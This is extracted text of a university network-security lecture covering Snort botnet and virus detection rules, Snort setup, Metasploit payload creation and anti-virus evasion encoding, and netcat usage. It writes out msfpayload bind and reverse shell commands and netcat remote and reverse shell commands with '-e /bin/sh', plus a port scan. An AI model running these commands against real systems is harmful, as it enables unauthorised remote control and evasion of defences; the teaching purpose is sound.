Shown below are some beginning rules in the le community-bot. rules. These rules look for botnets using popular bot software. [As explained in Lecture 29, a botnet is a typically a collection of compromised computers usually called zombies or bots working together under the control of their human handlers frequently called bot herders who may use the botnet to spew out malware such as spam, spyware, etc. It makes it more dicult to track down malware if it seems to emanate
A bot herder typically sets up an IRC (Internet Relay Chat) channel for instant communications with the bots under his/her control. Therefore, the beginning of the ruleset shown below focuses on the IRC trac in a network.
randomly from a large network of zombies. 50
Lecture 23
[Although it is relatively trivial to set up a chat server (for example, see Chapter 19 of my PwO book
for C++ and Java examples and Chapter 15 of my SwO book for Perl and Python examples), what makes IRC dierent is that one IRC server can connect with other IRC servers to expand the IRC network. Ideally, when inter-server hookups are allowed, the servers operate in a tree topology in which the messages are routed only through the branches that are necessary to serve all the clients but with every server aware of the state of the network. IRC also allows for private client-to-client messaging and for private individual-to-group link-ups. That should explain why bot herders like IRC. Joining an IRC chat does not require a log-in, but it does require a nickname (frequently abbreviated as just nick in IRC jargon). See Lecture 29 for further information on botnets.
# The following rule merely looks for IRC traffic on any TCP port (by detecting NICK change # events, which occur at the beginning of the session) and sets the is_proto_irc flowbit. # It does not actually generate any alerts itself: alert tcp any any -> any any (msg:"COMMUNITY BOT IRC Traffic Detected By Nick Change"; \ flow: to_server,established; content:"NICK "; nocase; offset: 0; depth: 5; flowbits:set,\ community_is_proto_irc; flowbits: noalert; classtype:misc-activity; sid:100000240; rev:3;) # Using the aforementioned is_proto_irc flowbits, do some IRC checks. This one looks for # IRC servers running on the $HOME_NET alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"COMMUNITY BOT Internal IRC server detected"; \ flow: to_server,established; flowbits:isset,community_is_proto_irc; classtype: policy-violation; \ sid:100000241; rev:2;)
# These rules look for specific Agobot/PhatBot commands on an IRC session alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT Agobot/PhatBot bot.about \ command"; flow: established; flowbits:isset,community_is_proto_irc; content:"bot.about"; \ classtype: trojan-activity; sid:100000242; rev:2;)
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT Agobot/PhatBot bot.die command"; flow: established; flowbits:isset,community_is_proto_irc; content:"bot.die"; classtype: trojan-activity; sid:100000243; rev:2;) .... .... ....
Lecture 23
are the rst three rules, meant for detecting the viruses Dabber (at two dierent ports) and BlackWorm.
alert tcp $EXTERNAL_NET any -> $HOME_NET 5554 (msg:"COMMUNITY VIRUS Dabber PORT overflow \ attempt port 5554"; flow:to_server,established,no_stream; content:"PORT"; nocase; isdataat:100,\ relative; pcre:"/^PORT\s[^\n]{100}/smi"; reference:MCAFEE,125300; classtype:attempted-admin; \ sid:100000110; rev:1;) alert tcp $EXTERNAL_NET any -> $HOME_NET 1023 (msg:"COMMUNITY VIRUS Dabber PORT overflow \ attempt port 1023"; flow:to_server,established,no_stream; content:"PORT"; nocase; isdataat:100,\ relative; pcre:"/^PORT\s[^\n]{100}/smi"; reference:MCAFEE,125300; classtype:attempted-admin; \ sid:100000111; rev:1;)
alert tcp $HOME_NET any -> 207.172.16.155 80 (msg:"COMMUNITY VIRUS Possible BlackWorm or \ Nymex infected host"; flow:to_server,established; uricontent:"/cgi-bin/Count.cgi?df=765247"; reference:u Win32%2fMywife.E%40mm; reference:url,cme.mitre.org/data/list.html#24; reference:url,isc.\ sans.org/blackworm; classtype:trojan-activity; sid:100000226; rev:2;) .... ....
It is easy to install snort through your Synaptic Packet Manager, but be warned that the installation does not run to completion without additional intervention by you. Before telling you what that intervention is, the installation will place the executable in /usr/sbin/snort, the start/stop/restart script in /etc/init.d/snort, and the cong les in the /etc/snort/ directory. As youd expect, the documentation is placed in the /usr/share/doc/snort/ directory. Please read the various README les in this directory before completing the installation. Some of these README les are compressed; so you will have to use a command like zcat README.Debian.gz | more
52
Lecture 23
to see what the instructions are. As you will nd out from these README les, a full installation of snort requires that you also install a database server like MySQL or PostgreSQL. But if you want to just have fun with snort as you are becoming familiar with the tool, it is not necessary to do so. You just need to make sure that you delete the zero-content le named db-pending-config from the /etc/snort/ directory.
The syntax for writing the intrusion detection rules is explained in the le /usr/share/doc/snort/snort_rules.html.
Your main cong le is /etc/snort/snort.conf, but it should be good enough as it is for an initial introduction to the system.
Once you get snort going, try the following command lines as root:
snort -v -i wlan0 // will see the headers of ALL TCP // packets visible to the wlan0 // wireless interface // the -v option is for verbose // it slows down snort and it can lose // packets with -v snort -d -e -a -i wlan0 // will also show you data in packets // -d option is for data, -e is for // link-layer packets, -a for ARP
53
Lecture 23
// will scan your home // LAN and dump info // into the log file // // // // will dump all of the info into the logfile but only for packets that trigger the rules
If instead of the above command lines, you start up snort with (as root, of course):
/etc/init.d/snort start
and then if you do ps ax | grep snort, you will discover that this automatic start is equivalent to the following command line invocation:
snort -m 027 -D -d -l /var/log/snort -u snort -g snort -c /etc/snort/snort.conf\ -S HOME_NET=[192.168.0.0/16] -i eth0
assuming you are connected to a home LAN (192.168.1.0/24). Note the -c option here. In this case, this option points to the cong le itself, meaning in general all the rule les pointed to by the cong le.
54
Lecture 23
You can customize how snort works for each separate interface by writing a cong le specic to that interface. The naming convention for such les is /etc/snort/snort.$INTERFACE.conf
Martin Roesch is the force behind the development of Snort. It is now maintained by his company Sourcere. The main website for Snort is http://www.snort.org. The main manual for the system is snort_manual.pdf (it did not land in my computer with the installation).
55
Lecture 23
23.5: PENETRATION TESTING AND DEVELOPING NEW EXPLOITS WITH THE METASPLOIT FRAMEWORK
The Metasploit Framework (http://www.metasploit.com) has emerged as the tool of choice for developing and testing new exploits against computers and networks.
The Metasploit Framework can be thought of as a major force multiplier for both the good guys and the bad guys. It makes it easier for the good guys to test the defenses of a computer system against a large array of exploits that install malware in your machine. At the same time, the Framework makes it much easier for the bad guys to experiment with dierent exploits to break into a computer.
The Framework has sucient smarts built into it so that it can create exploits for a large number of dierent platforms, saving the attacker the bother of actually having to write code for those platforms.
56
Lecture 23
Lets say you want to create a worm for the iPhone platform but you dont know how to program in Objective C, the primary language for iPhone applications. Not to worry. With the Metasploit Framework, all you have to do is to execute the command msfpayload and give it the options that apply to the iPhone platform, and, voila, youll have the executable of a worm for the iPhone. Obviously you would still be faced with the problem of how to actually deliver the worm you just created to its intended target. For that you could try mounting a social engineering attack of the type discuss in Lecture 30.
The MF command mentioned above, msfpayload, allows you to create a payload in either the source-code form in a large variety of languages or as a binary executable for a number of dierent platforms. A exploit would then consist of installing the payload in a machine to be attacked. [In computer security literature, a payload is the same thing as shellcode.]
The Metasploit Framework creates two dierent kinds of payloads: (1) Payloads that are fully autonomous for whatever it is they are meant to do in the same sense as a worm we described in Lecture 22. And (2) Payloads with just sucient networking capability to later pull in the rest of the needed code. [The rst
type of a payload is easier to detect by anti-virus tools. The second type of a payload would be much harder to detect because of its generic nature. The false-positive rate
57
Lecture 23
of an anti-virus tool that detects the second type of a payload would generally be much
From the standpoint of the good guys, a payload is what you attack a machine with to test its defenses. And, from the standpoint of the bad guys, a payload is nothing but a worm as we dened it in Lecture 22.
The rst type of a payload is created with the command syntax that, for the case of payloads meant for the Windows platform, looks like msfpayload window/shell reverse tcp and the second type with command syntax that looks like msfpayload windows/shell/reverse tcp.
To give the reader a sense of the syntax used for creating the payloads, the command
msfpayload windows/shell_bind_tcp X > temp.exe
creates the executable for a Windows backdoor shell listener, in other words, a server socket, on port 4444 (by default). If you could get the owner of a Windows machine to execute the code produced, you would have direct connection with the server program you installed surreptitiously. The following command line
msfpayload windows/shell_reverse_tcp LHOST=xxx.xxx.xxx.xxx \ LPORT=xxxxx > temp.exe
generates a reverse shell executable that connects back to the machine whose address is supplied through the parameter LHOST
58
Lecture 23
on its port supplied through the parameter LPORT. What that means is that subsequently you will have access to a shell on the attacked machine for executing other commands.
Another very useful command in the Framework is msfencode that encodes a payload to make its detection more dicult by enroute ltering and targeted-machine anti-virus tools. The Metasploit Framework includes several dierent encoders, the most popular being called Shikata Ga Nai. A more technical name for this encoder is Polymorphic XOR Additive Feedback Encoder.
Encoded a payload also generates a decoder stub that is prepended to the encoded version of the payload for the purpose of decoding the payload at runtime in the attacked machine. The decoder stub simply reverses the steps used for encoding. The encoded version of payload is generally produced by piping the output of the msfpayload command into the msfencode command. Your encoded payloads are less likely to be detected by anti-virus tools if the payload was created was of the second type we mentioned above. That is, if it is of the type that contains only minimal code for connecting back to the attacker for the rest of the code.
Here is an interesting report by I)ruid on how to encode a payload in such a way that makes it more dicult for anti-virus
59
Lecture 23
and intrusion prevention tools to detect the payload: http: //uninformed.org/index.cgi?v=9&a=3. The title of the report is Context-keyed Payload Encoding: Preventing Payload Disclosure via Context.
Another interesting report you may wish to look up is Eectiveness of Antivirus in Detecting Metasploit Payloads by Mark Baggett. It is available from http://www.sans.org (or, you can just google the title of the report). This report examines the eectiveness with which the current anti-virus tools can detect the payloads generated by the Metasploit Framework.
The Metasploit Framework has been acquired by Rapid7. However, it is free for non-commercial use.
60
Lecture 23
Netcat has got to be one of the most versatile tools ever created for troubleshooting networks. It is frequently referred to as the Swiss Army knife for network diagnostics.
I suppose the coolest thing about netcat is that you can create TCP/UDP servers and clients without knowing a thing about how to program up such things in any language.
And the second coolest thing about netcat is that it is supported on practically all platforms. So you can easily have Windows, Macs, Linux, etc., machines talking to one another even if you dont have the faintest idea as to how to write network programming code on these platforms. [Netcat comes pre-installed on several platforms, including Ubuntu and Macs]
Lecture 23
netcat or man nc) is very informative and shows examples of several dierent things you can do with netcat.
What I have said so far in this section is the good news. The bad news is that you are likely to nd two versions of netcat in your Ubuntu install: nc.openbsd and nc.traditional. The command nc is aliased to nc.openbsd. There are certain things you can do with nc.traditional that you are not allowed to with nc. Perhaps the most signicant dierence between nc and nc.traditional is with regard to the -e option. It is supported in nc.traditional but not in nc. The -e option can be used to create shells and remote shells for the execution of commands.
You have a shell if the machine with the listener socket (the server socket) executes a shell command like /bin/sh on Unix/Linux machines or like cmd.exe on Windows machines. Subsequently, a client can send commands to the server, where they will be interpreted and executed by the shell. You have a reverse shell if the client side creates a client socket and then executes a shell command locally (such as by executing /bin/sh or cmd.exe) for the interpretation and execution of the commands received from the server side.
Lets now look at some of the many modes in which you can use netcat. Ill assume that you have available to you two machines that both support netcat. [If one of these machines is behind a wireless access point
at home and the other is out there somewhere in the internet, youd need to ask your wireless router to open the server-side port you will be using for the experiments I describe below regardless of
62
Lecture 23
which of the two machines you use for the server side. If you dont know how to open specic ports on your home router, for a typical home setting, youll need to point your browser at home to a URL like http://192.168.1.1 and, for the case of LinkSys routers at least, go to a page like Applications and Gaming to enter the port number and the local IP address of the machine for which you want the router to do whats known as port forwarding. When playing with netcat, most folks use port 1234 for the server side. So just allow port forwarding on port 1234.
We will assume one of the machines is moonshine.ecn.purdue.edu and the other is my Ubuntu laptop which may be either at home (behind a LinkSys wireless router) or at work on Purdue PAL wireless.
For a simple two-way connection between my Ubuntu laptop and moonshine.ecn.purdue.edu, Ill enter in a terminal window on moonshine [You do NOT have to be root for all of the example code shown in this section.] :
nc -l 1234
The command-line option -l (that is el and not one) in the rst command above creates a listening socket on port 1234 at the moonshine end. The laptop end creates a client socket that wants to connect to the service at port 1234 of moonshine.ecn. purdue.edu. This establishes a two-way TCP link between the two machines for the exchange of one-line-at-a-time text. So
63
Lecture 23
anything you type at one end of this link will appear at the other end. [This is obviously an example of a rudimentary chat link.] You can obviously reverse the roles of the two machines (provided, if you are at home behind a router, you have enabled port-forwarding in the manner I described earlier).
An important feature of the -l option for most invocations of netcat is that when either side shuts down the TCP link by entering Ctrl-D, the other side shuts down automatically. [The
Windows version of netcat also supports an -L option for creating persistent listening sockets. If you open up such a server-side listening socket, you can only shut it down from the server side.]
An extended version of the above demonstration is for establishing a TCP link for transferring les. For example, if I say on the moonshine machine:
nc -l 1234 > foo.txt
The contents of the bar.txt on the laptop will be transferred to the le foo.txt on moonshine.ecn.purdue.edu. The TCP link is terminated after the le transfer is complete.
64
Lecture 23
Ill now demonstrate how to use netcat to create a shell on a remote machine. In line with the denition of shell and reverse shell presented earlier in this section, if I want to get hold of a shell on a remote machine, I must execute the command /bin/sh directly on the remote machine. So we will execute the following command on moonshine.ecn.purdue.edu:
nc.traditional -l -p 1234 -e /bin/sh
Note the use of the -e option, which is only available with nc.traditional on Ubuntu machines. [If you are running the above
command on a Windows machine, replace /bin/sh by cmd.exe. Also, on Windows, you would call nc and not nc.traditional. Running -e option on Widows works only if you installed the version of netcat that has -e enabled. Note that an installation of the -e enabled version of netcat on Windows may set of anti-virus alarms.
the command
nc moonshine.ecn.purdue.edu 1234
Now I can invoke on my laptop any commands that I want executed on the moonshine.ecn.purdue.edu machine (provided, of course, moonshine understands those commands). For example, if I enter ls on my laptop, it will be appropriately interpreted and executed by the shell on moonshine and I will see on my laptop a listing of all the les in the directory in which I created the listening socket on the moonshine side. Since my laptop now has access to a command shell on moonshine, the laptop will maintain a continuous on-going connection with moonshine and execute any number of commands there until I hit either Ctrl-D at the laptop end or Ctrl-C at the moonshine end. [Entering Ctrl-D on the client side means you are sending EOF (end-of-le) indication to the server socket at 65
Lecture 23
the other end. And entering Ctrl-C on the server side means that you are sending the SIGINT signal to the process in which the server program is running to bring it to a halt.
Ill now demonstrate how to use netcat to create a reverse shell on a remote machine. In line with the denition of reverse shell presented earlier in this section, the client side must now execute a command like /bin/sh on Unix/Linux machines and cmd.exe on Windows machines in order to interpret and execute the commands received from the server side. So, this time, lets create an ordinary listening socket on moonshine.ecn.purdue.edu by entering the following in one of its terminal windows:
nc.traditional -l -p 1234
Now, on the laptop side, Ill enter the following command line:
nc.traditional moonshine.ecn.purdue.edu 1234 -e /bin/sh
Now any commands I enter on the server side the moonshine side will be executed on the laptop and the output of those commands displayed on the server side. This is referred to as the server having access to a reverse shell on the client side. You can terminate this TCP link by entering Ctrl-C on either side. [If you are running the above client-side command on a Windows machine, replace /bin/sh by cmd.exe to make available the Windows command shell to the server side.]
You can also use netcat to carry out a rudimentary port scan with a command like
66
Lecture 23
nc
-v
-z -w 2
shay.ecn.purdue.edu 20-30
where the last argument, 20-30, means that we want the ports 20 to 30, both ends inclusive, to be scanned. The -w 2 sets the timeout to 2 seconds for the response from each port. The option -v is for the verbose mode. When used for port scanning, you may not see any output if you make the call without the verbose option. The option -z ensures that no data will be sent the machine being port scanned. There is also the option -r to randomize the order in which the ports are scanned.
For the next example, Ill show how you can use netcat to redirect a port. [This is something that you can also do easily with iptables by inserting a To REDIRECT rule in the PREROUTING chain of the nat table of the rewall. See Chapter 18.] explain the idea with a simple example, as you know, the SSH service is normally made available on port 22. Lets say, just for sake of making an example of port redirection, that you cannot reach that port directly. Instead you are allowed to reach, say, the port 2020. With netcat, you can relay your SSH connection through the port 2020. To bring that about, you execute the following two commands in some directory (which could be /tmp that all processes are allowed to write to)
mkfifo reverse nc -l 2020 < reverse | nc localhost 22 > reverse
As to the reason for the rst command above, note that a pipe is a unidirectional connection. So if we use a pipe to route the incoming trac at the server on the listening port 2020 to another
67
Lecture 23
instance of netcat acting as a client vis-a-vis the SSHD server on port 22 of the same host, we also need to gure out how to route the information returned by the SSHD server. That is, when the SSHD server sends the TCP packets back to whosoever made a connection request, those packets need to travel back on the same relay path. This we do by rst creating a standalone pipe with a designated name with the mkfifo command. We call this pipe reverse for obvious reasons. [In order to understand why nc
localhost 22 > reverse captures the return TCP packets emanating the SSHD server, go back to
In the forward direction, whatever the command nc -l 2020 write to the standard output get fed into the standard input to nc localhost 22. Subsequently, at the client site, you enter a command line like the following to make an SSH connection with the remote host:
the example of using netcat for le transfer.
ssh [email protected] -p
2020
Finally, note that netcat understands both IPv4 and IPv6. A netcat command can be customized to the IPv4 protocol with the -4 option ag and to the IPv6 protocol with the -6 ag.
68
Lecture 23
1. Nowadays even the hoi polloi talk about the ports on their home computers being open or closed. But what exactly is meant by an open port? And by a closed port? Say I buy a brand new laptop with only the most basic software (word processor, browser, etc.) installed on it. Should I assume that all the ports on the laptop are open? 2. What are all the dierent things you can accomplish with the nmap port scanner? Say that my laptop is only hosting the sshd and httpd server daemons. Assuming a standard install for these servers, which ports will be found to be open on my laptop by the nmap port scanner? 3. Lets say you have port scanned my laptop and found no ports to be open. Should I leap to the conclusion that all the ports on my laptop are closed and that therefore my laptop is not vulnerable to virus and worms? 4. What are the main dierences between a port scanner like nmap and a vulnerability scanner like nessus?
69
Lecture 23
5. Why might it be unwise to scan a network too frequently with a vulnerability scanner? 6. The vulnerability tests carried out by the nessus scanner are written in a special language. What is it called? 7. What do the phrases packet snier, protocol analyzer, and network analyzer mean to you? How do these things dier from port scanners and vulnerability scanners? 8. As you know, the network interface on all of the machines in a LAN see all the packets in the LAN regardless of which machines they originate from or which machines they are intended for. Does the same thing happen in a wireless LAN? 9. Describe the structure of an Ethernet frame? What is the maximum size of an Ethernet frame? What about its minimum size? 10. How does the Network Layer in the TCP/IP stack map the destination IP address in a packet to the MAC address of the destination machine (assuming the destination machine is in the same LAN)?
70
Lecture 23
11. When we say that a network interface is operating in the promiscuous mode, what do we mean? 12. What is the dierence between tcpdump and snort? What makes snort such a powerful tool for intrusion detection?
71